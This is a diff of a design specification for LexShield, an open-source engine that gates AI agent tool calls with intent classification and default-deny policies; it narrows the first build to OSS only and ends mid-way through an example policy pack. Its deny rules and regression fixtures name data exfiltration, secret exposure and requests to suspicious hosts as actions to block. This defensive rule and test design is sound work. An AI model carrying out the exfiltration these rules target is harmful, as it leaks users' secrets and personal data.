-281,7 +1270,7 @@ Do **not** require Cloud signup for first value. Local-first is non-negotiable f 4. **Every tool call gets ≥1 intent**; if unknown → `unknown.unclassified` with low confidence → default deny/challenge. 5. **Multi-label allowed**: primary intent + secondary tags (e.g. involves_pii=true) — for MVP, **single primary intent + alternatives list** is enough; sensitivity as tags on the request/context. -### 9.2 Classification Output Contract +### 10.2 Classification Output Contract ```ts interface Classification { @@ -294,7 +1283,7 @@ interface Classification { } ``` -### 9.3 Built-in Categories (see Appendix B for full MVP list) +### 10.3 Built-in Categories (see Appendix B for full MVP list) - `data.read.*` / `data.write.*` / `data.delete.*` - `comms.send.*` / `comms.read.*` @@ -307,9 +1296,9 @@ interface Classification { --- -## 10. Classifier Architecture +## 11. Classifier Architecture -### 10.1 Pipeline Order (recommendation — agreed) +### 11.1 Pipeline Order (recommendation — agreed) ``` 1) Deterministic (patterns, tool maps, arg schemas) → if high confidence, stop @@ -320,7 +1309,7 @@ interface Classification { **MVP ships steps 1 and 3.** Step 2 is stub interface only. -### 10.2 Deterministic Classifier +### 11.2 Deterministic Classifier **Inputs**: tool name, arg keys/values (stringified safely), optional regex rules file. @@ -348,7 +1337,7 @@ patterns: **Confidence policy**: tool_map alone → 0.7; tool_map + schema validation → 0.85; pattern hit → 0.9–0.99. -### 10.3 LLM Classifier +### 11.3 LLM Classifier **Recommendation (confident):** @@ -360,7 +1349,7 @@ patterns: - Timeout: 2s default; on timeout → treat as classifier failure (see fail-closed) - Token budget: truncate conversation history to last N turns / M chars (defaults: 6 turns / 8k chars) -### 10.4 Conflict Resolution (recommendation) +### 11.4 Conflict Resolution (recommendation) | Situation | Resolution | |-----------|------------| @@ -371,7 +1360,7 @@ patterns: **“More severe”**: maintain a severity rank table on intents (1–100). Abuse/delete/exfil > read. -### 10.5 Caching +### 11.5 Caching - Key: hash(tool name + normalized JSON args + taxonomy version + classifier ids) - TTL: 60s default @@ -380,14 +1369,14 @@ patterns: --- -## 11. Policy Language & Engine +## 12. Policy Language & Engine -### 11.1 Format +### 12.1 Format - **Authoring**: YAML (primary), JSON (generated/API) - **Expressions**: CEL-inspired subset (MVP) — **recommendation: implement a small safe expression language**, not full CEL yet; document as `expression` with documented operators -### 11.2 Rule Evaluation Semantics (recommendation) +### 12.2 Rule Evaluation Semantics (recommendation) 1. Compile policy at load into sorted rules by `priority` ascending (lower number = higher precedence) — **or** descending? **Recommendation: higher `priority` number wins** (explicit), with stable tie-break by rule id. Document clearly. Alternative many systems use first-match; we choose **highest priority match among matching rules**, then default verdict if none match. @@ -395,7 +1384,7 @@ patterns: 3. First/highest priority matching rule determines verdict. 4. If no rule matches → `defaultVerdict` (recommend `BLOCK`). -### 11.3 Match Dimensions (MVP) +### 12.3 Match Dimensions (MVP) | Field | Semantics | |-------|-----------| @@ -415,7 +1404,7 @@ patterns: **Operators (MVP):** `== != in && || ! > >= < <= startsWith contains matches` -### 11.4 Policy File Shape +### 12.4 Policy File Shape ```yaml version: 1 @@ -457,13 +1446,13 @@ rules: reason: "Possible data exfiltration or secret exposure" ``` -### 11.5 Policy Versioning +### 12.5 Policy Versioning -- Local: file content + optional `version` field; git is source of truth -- Cloud: `publish` creates immutable version (`semver` or monotonic `vN`) — **recommendation: monotonic `vN` integer + optional semver label** -- Shields pin to `policyId@version` or `latest` (latest discouraged in prod) +- Local: file content + optional `version` field; **git is source of truth** +- `lexshield check` validates before merge +- Future Cloud may add immutable published versions — not in first build -### 11.6 Policy Packs (ship with OSS) +### 12.6 Policy Packs (ship with OSS) 1. **`packs/baseline-deny.yaml`** — default deny, allow health + metrics 2. **`packs/pii-guard.yaml`** — challenge/block PII egress via comms/network @@ -471,9 +1460,9 @@ rules: --- -## 12. Verdicts, Challenges & Human-in-the-Loop +## 13. Verdicts, Challenges & Human-in-the-Loop -### 12.1 Verdict Types +### 13.1 Verdict Types | Verdict | Meaning | Execution | |---------|---------|-----------| @@ -482,22 +1471,20 @@ rules: | `CHALLENGE` | Needs human approval | Hold; notify; resume on approve/deny | | `DEFER` | Async review queue | Hold; no synchronous waiter required; timeout policy applies | -### 12.2 Challenge Flow (recommendation) +### 13.2 Challenge Flow (recommendation) -**Local MVP:** +**Local only (first build):** - `CHALLENGE` returns verdict immediately to caller with `challengeId` - Side channel: write to sink + optional webhook - Approval via CLI: `lexshield challenge approve ` / `deny` (local store) - SDK mode: `shield.guard` awaits challenge until timeout if `await_challenge: true` (default **false** for agents — return challenge error to agent loop) -**Cloud:** - -- Challenge objects stored; Slack interactive approve/deny (post-MVP if Slack hard); MVP: dashboard button + webhook - **Timeouts:** default 1h; `onTimeout: BLOCK` (fail closed). -### 12.3 What Agents See on BLOCK/CHALLENGE +Hosted challenge UIs (dashboard / Slack) are **deferred with Cloud**. + +### 13.3 What Agents See on BLOCK/CHALLENGE Return structured error (not only string): @@ -516,18 +1503,17 @@ Return structured error (not only string): --- -## 13. Execution Interception & Integration Modes +## 14. Execution Interception & Integration Modes -### 13.1 Modes +### 14.1 Modes | Mode | How it works | Best for | |------|--------------|----------| | **SDK wrap** | Decorator/wrapper around tool functions | Python/TS monoliths | | **Evaluate-only** | Caller asks for verdict, executes itself | Custom runtimes | | **Local proxy** | HTTP proxy `/execute` forwards if ALLOW | Polyglot / sidecars | -| **Cloud evaluate** | Remote policy decision | Centralized governance | -### 13.2 Proxy Semantics (recommendation) +### 14.2 Proxy Semantics (recommendation) - Proxy is **explicit allowlist of upstream tool endpoints** configured in `lexshield.yaml` — LexShield is not an open forwarder. - TLS termination local only by default (`127.0.0.1`) @@ -535,7 +1521,7 @@ Return structured error (not only string): - On BLOCK: HTTP 403 with structured body - On CHALLENGE: HTTP 202 or 403 with challenge payload — **recommendation: 403 with `verdict: CHALLENGE`** for simpler agent error handling; optional 202 behind flag -### 13.3 Framework Adapters +### 14.3 Framework Adapters **MVP**: none in core. **Post-MVP contrib**: OpenAI Agents SDK, LangChain tools, CrewAI, Vercel AI SDK `tools`. @@ -543,9 +1529,9 @@ Document a 20-line “wrap your tool” pattern so users don’t wait. --- -## 14. SDKs (Python & TypeScript) +## 15. SDKs (Python & TypeScript) -### 14.1 Python (primary) +### 15.1 Python (primary) **Package**: `lexshield` on PyPI **Python**: 3.10+ @@ -576,7 +1562,7 @@ await shield.record_outcome(request_id, "EXECUTED") - On CHALLENGE: raise `LexShieldChallengeError` (unless await mode) - Propagation of `conversation_id` via contextvars helper `shield.session(...)` -### 14.2 TypeScript +### 15.2 TypeScript **Package**: `@latticeag/lexshield` **Runtime**: Node 20+; edge-friendly core evaluate without Node FS (inject config) @@ -589,7 +1575,7 @@ const shield = await Shield.fromConfig('lexshield.yaml'); export const sendEmail = shield.guard('send_email', async (args) => { ... }); ``` -### 14.3 Versioning & Compatibility +### 15.3 Versioning & Compatibility - Shared JSON schemas for Policy / Verdict / Trace in `/schemas` - Golden tests ensure Python and TS engines produce same verdict on fixture suite @@ -597,7 +1583,7 @@ export const sendEmail = shield.guard('send_email', async (args) => { ... }); --- -## 15. CLI Surface +## 16. CLI Surface ```bash lexshield init # scaffold lexshield.yaml, policy.yaml, rules.yaml, samples @@ -606,13 +1592,13 @@ lexshield run # start local server/proxy lexshield evaluate # eval from flags or stdin JSON lexshield traces list|show # query local ndjson lexshield challenge list|approve|deny -lexshield login # device flow / API key for Cloud -lexshield policy push|pull|diff lexshield packs list|apply lexshield version -lexshield completion bash|zsh # nice-to-have same week if cheap +lexshield completion bash|zsh # nice-to-have if cheap ``` +> Cloud commands (`login`, `policy push|pull`) are **not in the first build**. + **DX recommendations:** - Colorized verdicts in TTY; `--json` for scripts @@ -621,7 +1607,7 @@ lexshield completion bash|zsh # nice-to-have same week if cheap --- -## 16. Local API & Proxy +## 17. Local API & Proxy **Default bind**: `http://127.0.0.1:8787` (localhost-only by default — **do not** default to `0.0.0.0`). @@ -641,58 +1627,23 @@ lexshield completion bash|zsh # nice-to-have same week if cheap --- -## 17. LexShield Cloud +## 18. Deferred: LexShield Cloud -### 17.1 Purpose +**Status: out of scope for the first build.** -- Versioned policy distribution -- Multi-team orgs, API keys -- Long-term trace storage/search -- Alerts (email MVP; Slack soon) -- Invite-only onboarding +A future hosted control plane *may* add: -### 17.2 Architecture (recommendation) +- Versioned policy distribution across teams +- Long-term trace storage/search and alerts +- Org/API keys, invite onboarding, dashboard -| Component | Choice | Why | -|-----------|--------|-----| -| Compute | Cloudflare Workers | Edge, LatticeAG fit | -| Consistency / queues | Durable Objects | Per-org coordination, challenge state | -| DB | D1 | Policies, orgs, API keys metadata | -| Blobs / traces | R2 + optional D1 index | Cheap retention | -| Auth | API keys (MVP) + magic-link invite; Clerk/Auth0 later if needed | -| Dashboard | Next.js on Cloudflare Pages or Workers Assets | Fast to ship | +**Suggested future stack (when revisited):** Cloudflare Workers + Durable Objects + D1 + R2 + Next.js dashboard. -### 17.3 Cloud API (MVP) - -``` -POST /v1/orgs/:orgId/policies -GET /v1/orgs/:orgId/policies/:policyId -POST /v1/orgs/:orgId/policies/:policyId/publish -GET /v1/orgs/:orgId/policies/:policyId/versions -POST /v1/orgs/:orgId/evaluate -POST /v1/orgs/:orgId/traces/ingest -GET /v1/orgs/:orgId/traces -POST /v1/orgs/:orgId/alerts -GET /v1/orgs/:orgId/alerts -POST /v1/invites -POST /v1/auth/api-keys -``` - -### 17.4 Multi-tenancy - -- Strict `orgId` isolation on every query -- API keys hashed at rest (SHA-256 with pepper) -- Rate limit evaluate by org (Cloudflare rate limiting / DO counters) - -### 17.5 Invite-only - -- Public landing + waitlist -- Invites create org + owner seat -- No self-serve card billing in MVP (manual Pro upgrades OK) +Until then: policies and traces stay on the user’s machine / git / their own sinks (file, HTTP, OTLP). Do not scaffold `packages/cloud` in the first build. --- -## 18. Data Model +## 19. Data Model ```ts type VerdictType = 'ALLOW' | 'BLOCK' | 'CHALLENGE' | 'DEFER'; @@ -817,7 +1768,7 @@ interface Trace { } interface SinkConfig { - type: 'stdout' | 'file' | 'http' | 'otlp' | 'saas'; + type: 'stdout' | 'file' | 'http' | 'otlp'; options: Record; } @@ -826,43 +1777,15 @@ interface UpstreamConfig { headers?: Record; timeoutMs?: number; } - -interface Organization { - id: string; - name: string; - plan: 'free' | 'pro' | 'enterprise'; - createdAt: string; -} - -interface ApiKey { - id: string; - orgId: string; - name: string; - hashedKey: string; - prefix: string; // e.g. ls_live_abc - createdAt: string; - lastUsedAt?: string; -} - -interface AlertRule { - id: string; - orgId: string; - name: string; - condition: { - verdicts?: VerdictType[]; - intents?: string[]; - thresholdCount: number; - windowSeconds: number; - }; - channels: Array<{ type: 'email' | 'webhook' | 'slack'; target: string }>; -} ``` +> Cloud-only types (`Organization`, `ApiKey`, `AlertRule`) are deferred and omitted from the first-build data model. + --- -## 19. Configuration Schema +## 20. Configuration Schema -### 19.1 `lexshield.yaml` (canonical) +### 20.1 `lexshield.yaml` (canonical) ```yaml version: 1 @@ -885,9 +1808,6 @@ shield: - type: stdout - type: file path: ./traces.ndjson - - type: saas - org_id_env: LEXSHIELD_ORG_ID - api_key_env: LEXSHIELD_API_KEY proxy: enabled: false upstreams: @@ -900,40 +1820,34 @@ server: token_env: LEXSHIELD_LOCAL_TOKEN ``` -### 19.2 Environment Variables +### 20.2 Environment Variables | Var | Purpose | |-----|---------| | `OPENAI_API_KEY` | LLM classifier | | `OPENAI_BASE_URL` | Compatible endpoint | -| `LEXSHIELD_ORG_ID` | Cloud org | -| `LEXSHIELD_API_KEY` | Cloud auth | | `LEXSHIELD_LOCAL_TOKEN` | Local API auth | | `LEXSHIELD_LOG_LEVEL` | debug/info/warn/error | --- -## 20. Architecture & Request Pipeline +## 21. Architecture & Request Pipeline ``` ┌─────────────────┐ ┌──────────────────────────────┐ ┌─────────────────┐ -│ Agent / SDK │─────▶│ LexShield Engine │─────▶│ Tool Endpoint │ +│ Agent / SDK │─────▶│ LexShield Engine (OSS) │─────▶│ Tool Endpoint │ │ / Proxy client │ │ 1. Normalize + redact │ │ (optional) │ └─────────────────┘ │ 2. Classify (det → LLM) │ └─────────────────┘ │ 3. Resolve intent severity │ │ 4. Match policy rules │ │ 5. Emit verdict │ │ 6. Async sinks / OTLP │ - └──────────────┬───────────────┘ - │ optional - ▼ - ┌──────────────────────────────┐ - │ LexShield Cloud │ - │ policies · traces · alerts │ └──────────────────────────────┘ ``` -### 20.1 Per-request steps +No hosted control plane in the request path for the first build. + +### 21.1 Per-request steps 1. Accept `ToolCallRequest` (generate id if missing — **recommendation: ULID**) 2. Validate schema; reject malformed with 400 @@ -947,7 +1861,7 @@ server: --- -## 21. Performance, Caching & Reliability +## 22. Performance, Caching & Reliability | Path | Target | |------|--------| @@ -965,19 +1879,18 @@ server: --- -## 22. Security & Threat Model +## 23. Security & Threat Model -### 22.1 Trust Boundaries +### 23.1 Trust Boundaries | Boundary | Trust assumption | |----------|------------------| | Caller identity | **Host application authenticates**; LexShield trusts provided `caller` claims | -| Policy files | Trusted operators / git; Cloud publish is admin-only | +| Policy files | Trusted operators / git | | LLM provider | Sees redacted args; treat as semi-trusted | | Local server | Localhost by default; token optional | -| Cloud API | API key = org privilege | -### 22.2 Threats & Mitigations +### 23.2 Threats & Mitigations | Threat | Mitigation | |--------|------------| @@ -985,39 +1898,37 @@ server: | Policy bypass via evaluate vs execute mismatch | Single engine path; SDKs always evaluate before user code | | Secret leakage to LLM/logs | Redaction filters; trace field allowlist | | SSRF via proxy upstreams | Explicit upstream allowlist only | -| Trace tampering (local) | Best-effort; Cloud signed append-only | +| Trace tampering (local) | Best-effort; users can ship traces to their own immutable store | | Supply chain | Lockfiles, signed releases later; MIT transparency | | Cost amplification via LLM classify | Cache, timeouts, circuit breaker, optional `llm: false` for hot tools | | Confused deputy | Bind shields to env + caller roles in policy | -### 22.3 Security Guarantees (honest) +### 23.3 Security Guarantees (honest) LexShield **cannot** guarantee safety against all adversarial prompts. It **does** provide defense-in-depth, auditability, and policy enforcement points. --- -## 23. Privacy, Compliance & Data Handling +## 24. Privacy, Compliance & Data Handling **Recommendations:** - **Data minimization**: traces store redacted arguments by default (`trace_arguments: redacted | hash | full`) — default **redacted** -- **Retention**: local unbounded (user’s disk); Cloud Free 7 days; Pro 90 days; Enterprise custom -- **Region**: Cloud US-first MVP; EU option on Enterprise roadmap -- **DPA / SOC2**: roadmap; do not claim compliance until earned -- **Training**: never train models on customer traces by default; explicit opt-in only if ever offered +- **Retention**: local unbounded (user’s disk / their sinks) +- **Training**: never send customer data anywhere except user-configured LLM/OTLP endpoints - **PII**: customers responsible for what they put in tool args; we provide redaction helpers +- Hosted retention/region/DPA topics apply only when/if Cloud is built later --- -## 24. Observability & Audit +## 25. Observability & Audit -### 24.1 Traces +### 25.1 Traces - Every evaluate produces a Trace (Appendix C) -- Local: NDJSON -- Cloud: ingest API + indexed search (tool, intent, verdict, rule, time, caller) +- Local: NDJSON; optional HTTP/OTLP export to the user’s stack -### 24.2 Metrics (MVP local counters; Cloud dashboard later) +### 25.2 Metrics (local counters) - `lexshield_evaluations_total{verdict}` - `lexshield_classify_duration_ms{classifier}` @@ -1025,19 +1936,19 @@ LexShield **cannot** guarantee safety against all adversarial prompts. It **does - `lexshield_sink_errors_total` - `lexshield_llm_circuit_open` -### 24.3 OpenTelemetry +### 25.3 OpenTelemetry - Emit span `lexshield.evaluate` with attributes: tool, intent, verdict, rule id, duration - Export via OTLP/HTTP sink config -### 24.4 Alerts (Cloud) +### 25.4 Alerts -- Threshold on BLOCK/CHALLENGE counts -- Email webhook MVP; Slack post-MVP +- Not built-in for first build — users alert off their own log/OTLP pipeline +- Optional: document a sample Grafana/Datadog query on OTLP attributes --- -## 25. Error Handling & Failure Modes +## 26. Error Handling & Failure Modes | Failure | Default behavior | |---------|------------------| @@ -1054,32 +1965,32 @@ LexShield **cannot** guarantee safety against all adversarial prompts. It **does --- -## 26. Testing Strategy +## 27. Testing Strategy -### 26.1 Layers +### 27.1 Layers 1. **Unit**: expression parser, glob match, redaction, priority resolution 2. **Golden fixtures**: JSON request + policy → expected verdict (shared Py/TS) 3. **Classifier**: deterministic rules; LLM with recorded HTTP cassettes (VCR) 4. **SDK integration**: decorator blocks/allows 5. **CLI**: snapshot tests for `check`/`evaluate` -6. **Cloud**: contract tests for authz isolation (org A cannot read org B) +6. **Contract/security**: org isolation N/A until Cloud; focus on redaction + fail-closed tests -### 26.2 Security regression fixtures (must-have) +### 27.2 Security regression fixtures (must-have) - Exfil via `send_email` with PII body - `http_request` to suspicious host - Delete in production without challenge - Benign health check still ALLOW -### 26.3 CI +### 27.3 CI - Lint + typecheck + unit + golden on every PR - No live LLM calls in CI (cassettes only) --- -## 27. Repository & Monorepo Layout +## 28. Repository & Monorepo Layout **Recommendation: monorepo** (pnpm or uv workspace + cargo later): @@ -1094,184 +2005,140 @@ LexShield **cannot** guarantee safety against all adversarial prompts. It **does packages/ engine-py/ # or /python engine-ts/ - cli/ # Python Click/Typer OR TS; recommendation: Python Typer for MVP CLI - cloud/ # Workers + dashboard + cli/ # Python Typer CLI docs/ examples/ python-agent/ ts-agent/ - contrib/ # empty in MVP; adapters later + contrib/ # empty in first build; adapters later ``` -**Recommendation:** CLI in **Python** for MVP (same engine import). TS CLI can wait. +**Recommendation:** CLI in **Python** for MVP (same engine import). No `packages/cloud` until Cloud is greenlit. --- -## 28. Tech Stack Recommendations +## 29. Tech Stack Recommendations | Area | Choice | Rationale | |------|--------|-----------| | Python | 3.11+, `uv`, `pydantic` v2, `httpx`, `typer`, `rich` | Fast DX, validation, CLI | | TS | TypeScript 5.x, `zod`, Node 20 | Schema parity | | Local server | Python `fastapi` + `uvicorn` | Matches Py ecosystem; simple | -| Cloud | Cloudflare Workers, Hono or itty-router, D1, R2, DO | Edge + LatticeAG | -| Dashboard | Next.js App Router | Speed + CF Pages | | IDs | ULID | Sortable traces | | Policy expressions | Custom safe subset | Avoid full CEL complexity in week 1 | | Testing | `pytest`, `vitest`, shared fixtures | — | | Packaging | PyPI + npm | — | +> Cloudflare / Next.js dashboard stack is **deferred** with Cloud. + --- -## 29. Developer Experience & Documentation +## 30. Developer Experience & Documentation -### 29.1 Must-have docs (MVP) +### 30.1 Must-have docs (first build) 1. Quickstart (5 minutes) 2. Policy authoring guide 3. Intent catalog reference 4. SDK reference (Py + TS) 5. Security model & limitations -6. Cloud invite onboarding +6. CI example (`lexshield check` in GitHub Actions) -### 29.2 Examples +### 30.2 Examples - Minimal Python tool guard - Block exfil demo - Challenge flow demo - CI `lexshield check` in GitHub Actions -### 29.3 Telemetry (OSS) - -**Recommendation:** Opt-in anonymous usage (`lexshield telemetry enable`) — off by default. Never send args/traces. - ---- - -## 30. Dashboard UX (Cloud) - -**MVP screens only (avoid dashboard sprawl):** - -1. **Overview** — eval volume, block rate, latency (simple charts) -2. **Policies** — list, editor (Monaco), publish, versions diff -3. **Traces** — search/filter table, detail drawer -4. **Challenges** — queue approve/deny -5. **Settings** — API keys, team invites, alert endpoints +### 30.3 Telemetry (OSS) -**Design recommendations (product UI, not marketing site):** - -- Dense, operator-first UI (this *is* a control-plane dashboard — exception to “no dashboard” landing rules) -- Dark/light follow system; avoid purple-glow AI cliché -- Verdict colors: ALLOW green, BLOCK red, CHALLENGE amber, DEFER blue — use consistently -- Policy editor validates on save via same schema as CLI `check` - -**Marketing landing (separate):** brand-first, one hero composition; waitlist CTA — not part of app shell. +**v0.1: none.** No phone-home. Revisit opt-in anonymous telemetry in v0.2. --- -## 31. Pricing, Packaging & Go-to-Market - -### 31.1 Packaging +## 31. Go-to-Market (OSS) -| Tier | Price | Includes | -|------|-------|----------| -| OSS | Free (MIT) | Engine, CLI, SDKs, packs | -| Cloud Free | $0 | 1 org, 1 shield, 10k evals/mo, 7-day traces, community | -| Cloud Pro | **$99/mo per org** (see question below) | Unlimited shields, 1M evals/mo, 90-day traces, alerts, SSO later | -| Enterprise | Custom | Regions, audit export, SLA, SSO/SAML, dedicated support | +**First build is free MIT OSS. No pricing page, no seats, no Cloud tiers.** -**Recommendation change vs early draft:** Prefer **per-org** pricing over **per-seat** for MVP simplicity (`$99/org/mo` Pro). Seats matter less until SSO/collaboration expands. Keep seat model as alternative if you sell to security teams that expect seats. +### 31.1 Launch motion -### 31.2 GTM Motion +1. Public GitHub repo + clear README/quickstart +2. Post to agent/security communities (HN, relevant Discords, X) +3. Content: “OPA for agent tools” + demo GIFs of block/challenge +4. Collect design-partner feedback via GitHub Issues / Discord -1. OSS launch (GitHub + HN/Reddit/X + agent Discord communities) -2. Content: “OPA for agent tools” + incident-style blog posts -3. Invite-only Cloud for design partners (5–15 companies) -4. Framework adapter contrib as growth loops - -### 31.3 Design Partner Profile +### 31.2 Design Partner Profile - Already running agents with ≥3 production tools - Has a security/platform owner - Willing to share anonymized false-positive feedback +### 31.3 Monetization + +Deferred. Revisit Cloud/support only after OSS traction and clear demand for hosted control plane. + --- -## 32. MVP Milestones (6-Day Build) +## 32. MVP Milestones (OSS First Build) -> Calendar days are organizational scaffolding only; treat these as **sequenced work packages** with hard deliverables. +> Sequenced work packages with hard deliverables. No Cloud milestone. | Mile | Focus | Deliverable | Exit criteria | |------|-------|-------------|---------------| | **M1** | Policy engine + deterministic classifier | YAML load, match, ALLOW/BLOCK, unit+golden tests | Fixtures pass; `check` works | | **M2** | Python SDK + local API | `Shield.guard`, FastAPI `/evaluate`, `/healthz` | End-to-end block demo | | **M3** | LLM classifier + taxonomy | OpenAI-compatible classify, built-in intents, redaction | Cassette-tested classify | -| **M4** | CLI + traces | `init/check/run/evaluate/traces`, NDJSON sink | 5-min quickstart works offline | +| **M4** | CLI + traces + challenges | `init/check/run/evaluate/traces/challenge`, NDJSON sink | 5-min quickstart works offline | | **M5** | TypeScript SDK + proxy | npm package, `/execute` proxy, shared fixtures parity | Same golden verdicts | -| **M6** | Cloud scaffold + invite | Workers API, D1 schema, invite gate, policy publish, trace ingest stub | Design partner can push policy | +| **M6** | Docs, packs, examples, polish | Packs YAML, 3 demos, README, security docs, CI example, Appendix D checklist | Tag `v0.1.0` green | -**Parallelization note:** Docs and examples written continuously from M2; do not leave docs to the end. +**Authoritative scope:** [§9 Feature Freeze](#9-v01-feature-freeze-specific). If a feature is not IN there, do not build it in these milestones. --- ## 33. Post-MVP Roadmap -### v0.2 +### After OSS v0.1 - Embedding classifier option -- Slack challenges -- LangChain + OpenAI Agents contrib adapters -- Policy diff UX + dry-run against historical traces +- LangChain + OpenAI Agents + Vercel AI SDK contrib adapters +- Policy dry-run against fixture/trace corpora +- Shared WASM/Rust evaluation core (optional) -### v0.3 +### Later (only if demanded) -- Shared WASM/Rust evaluation core -- OPA/Cedar import experiments -- SIEM webhook pack -- SSO (SAML/OIDC) - -### v1.0 - -- Stability guarantees, SOC2 path, SLA for Pro/Enterprise -- Multi-region retention -- Formal threat model whitepaper +- **LexShield Cloud** — hosted policies, traces, alerts, dashboard +- Slack challenges, SSO, SIEM packs +- SOC2 / enterprise packaging --- ## 34. Open Questions (with Recommendations) -Use this section as the decision workshop checklist. **Bold** = recommended default if you want to move fast. - | # | Question | Recommendation | Confidence | |---|----------|----------------|------------| -| Q1 | Per-seat vs per-org Pro pricing? | **Per-org $99/mo** for MVP; revisit seats at SSO | High | -| Q2 | Dual engine (Py+TS) vs shared core now? | **Dual + shared fixtures for MVP**; WASM core next | High | -| Q3 | Include framework adapters in MVP? | **No — contrib after M6** | High | -| Q4 | Local embedding classifier in MVP? | **No — interface only** | High | -| Q5 | Expression language: full CEL vs subset? | **Subset**; document upgrade path | High | +| Q1 | SaaS in first build? | **No — OSS only** | **Locked** | +| Q2 | Dual engine (Py+TS) vs shared core now? | **Dual + shared fixtures**; WASM later | High | +| Q3 | Framework adapters in first build? | **No — contrib after v0.1** | High | +| Q4 | Local embedding classifier? | **No — interface only** | High | +| Q5 | Expression language: full CEL vs subset? | **Subset** | High | | Q6 | Challenge await in SDK default? | **Non-blocking raise**; opt-in await | High | -| Q7 | Cloud auth: Clerk vs API keys only? | **API keys + invite magic link MVP**; Clerk when dashboard multi-user hurts | Medium | -| Q8 | Default bind address ever non-localhost? | **Never without explicit `--host` and warning** | High | -| Q9 | Should BLOCK reasons be visible to the agent LLM? | **Short stable codes + human reason**; hide rule internals in prod option | Medium | -| Q10 | Trace arg storage default? | **Redacted** | High | -| Q11 | Severity-on-classifier-conflict bias? | **Prefer higher severity intent** | High | -| Q12 | Package namespace TS `@latticeag/lexshield` OK? | **Yes** | High | -| Q13 | Monetize OSS support? | Not MVP; optional later | Medium | -| Q14 | Name collision check “LexShield”? | Confirm trademark/domain (`lexshield.dev`?) before launch | Medium — **please confirm domains you own** | -| Q15 | Primary demo vertical? | **PII egress + destructive prod actions** as hero demos | High | -| Q16 | DEFER vs CHALLENGE in MVP UI? | Implement both in engine; **UI focus CHALLENGE only** | High | -| Q17 | Who hosts LLM for Cloud evaluate? | **Customer BYOK** for classification in hybrid; Cloud may offer managed classifier later | Medium | -| Q18 | GitHub org/repo public now? | **Public OSS from first tagged release**; develop in public if comfortable | Medium | - -### Questions for you (please answer when ready) - -1. **Domain / brand**: Do you already own a domain for LexShield? Preferred docs URL? -2. **Pricing**: Stick with **$99/seat** from the original draft or switch to **$99/org** as recommended here? -3. **Cloud auth**: Stay API-key-only for invite MVP, or do you want Clerk from day one? -4. **Demo vertical**: Is your first design partner closer to **customer-support agents**, **devops/infra agents**, or **finance ops**? (Affects which policy pack we polish first.) -5. **Engine strategy**: Accept dual Py/TS for speed, or do you want to invest early in a **Rust/WASM** core? -6. **Adapters**: Any must-have framework for launch week (e.g. Vercel AI SDK) despite the recommendation to defer? -7. **Telemetry**: Confirm **opt-in only** for OSS phone-home? -8. **Compliance narrative**: Any near-term enterprise prospect that needs SOC2 language on the marketing site (careful — don’t overclaim)? +| Q7 | Default bind address? | **`127.0.0.1` only** without explicit `--host` | High | +| Q8 | BLOCK reasons visible to agent LLM? | Short reason + optional hide rule ids in prod | Medium | +| Q9 | Trace arg storage default? | **Redacted** | High | +| Q10 | Severity-on-classifier-conflict? | **Prefer higher severity intent** | High | +| Q11 | TS package name `@latticeag/lexshield`? | **Yes** | High | +| Q12 | Primary demo vertical? | **PII egress + destructive prod actions** | High | +| Q13 | DEFER in first UI/CLI? | Engine yes; **CLI focus CHALLENGE** | High | +| Q14 | Domain / GitHub public now? | Public at first tagged release | Medium | + +### Still useful to confirm + +1. **Domain**: docs/site URL you own? +2. **Demo vertical**: support vs devops/infra vs finance for the polished pack? +3. **Must-have adapter** at launch despite deferral? (default: none) +4. **Telemetry**: confirm opt-in only / can wait until after v0.1? --- @@ -1279,49 +2146,248 @@ Use this section as the decision workshop checklist. **Bold** = recommended defa | Decision | Recommendation | Status | |----------|----------------|--------| +| First build shape | **OSS only** — no SaaS | **Locked** | +| v0.1 feature set | §9 freeze (IN/OUT/demos/packs) | **Locked** | +| Intent catalog size | **24** built-ins | **Locked** | +| Challenge SDK default | Raise; no await | **Locked** | +| Proxy deny status | HTTP **403** for BLOCK/CHALLENGE/DEFER | **Locked** | +| Telemetry in v0.1 | **None** (defer opt-in to v0.2) | **Locked** | | Primary languages | Python first, TypeScript second | **Agreed** | -| Classifier fallback | Deterministic → (embedding later) → LLM | **Agreed** | +| Classifier fallback | Deterministic → LLM (embed later) | **Agreed** | | Default verdict posture | `BLOCK` (default-deny) | **Agreed** | -| SaaS platform | Cloudflare Workers + Durable Objects + D1/R2 | **Agreed** | | License | MIT | **Agreed** | -| Framework adapters in core MVP | No; contrib post-MVP | **Recommended** | -| LLM classifier | Remote OpenAI-compatible first; local post-MVP | **Recommended** | -| Pro pricing unit | Per-org not per-seat | **Recommended** (overrides earlier seat draft) | +| LexShield Cloud | Deferred post-OSS | **Locked** | +| Framework adapters in core | No | **Locked** | +| LLM classifier | OpenAI-compatible; 2s timeout; `gpt-4o-mini` default | **Locked** | | Shared evaluation core | Fixtures now; WASM later | **Recommended** | -| Local server default host | `127.0.0.1` only | **Recommended** | -| Trace args default | Redacted | **Recommended** | -| CLI implementation language | Python/Typer | **Recommended** | -| Expression language | Safe subset, not full CEL | **Recommended** | -| OSS telemetry | Opt-in, off by default | **Recommended** | -| Challenge SDK behavior | Raise by default; opt-in await | **Recommended** | +| Local server default host | `127.0.0.1` only | **Locked** | +| Trace args default | Redacted | **Locked** | +| CLI language | Python/Typer | **Locked** | +| Expression language | Frozen subset §9.5 | **Locked** | + +--- + +## 36. Build Readiness + +### Verdict: **Yes — ready to build the OSS MVP.** + +The problem, scope, API shapes, data model, milestones, and fail-closed defaults are clear enough to start M1 without waiting on Cloud, pricing, or auth vendors. + +### Ready enough + +- Core loop is well-defined: classify → policy → verdict → trace +- Default-deny + deterministic-first reduces early product risk +- Python → local API → CLI → TS is a sane build order +- Non-goals (especially **no SaaS**) keep scope shippable + +### Accept residual ambiguity (do not block) + +- Exact intent catalog wording can evolve behind semver +- Expression language can start tiny and grow +- Dual Py/TS engine duplication is a known debt +- Design-partner vertical can be chosen during pack polish (M6) + +### Do this on day 1 of build + +1. Scaffold monorepo (`engine-py`, schemas, fixtures, packs) +2. Implement policy load + match + golden fixtures +3. Keep Cloud / dashboard / billing out of the tree + +### Do **not** start until blocked (none currently) + +- No SaaS credentials, Clerk, or Cloudflare account needed for first build +- LLM key only needed from M3; M1–M2 can be deterministic-only --- ## Appendix A — Example Policy Packs -### A.1 Baseline deny (sketch) +> Full YAML below is **normative for v0.1** (may tweak reason strings, not semantics). + +### A.1 `baseline-deny` + +```yaml +version: 1 +id: baseline-deny +name: Baseline default-deny +description: Allow health/ping only; challenge prod deletes; block secret exposure and exfil. +defaultVerdict: BLOCK +rules: + - id: allow-health + name: Allow health checks + priority: 100 + match: + tools: ["health_check", "ping"] + intents: ["network.request.health"] + verdict: ALLOW + 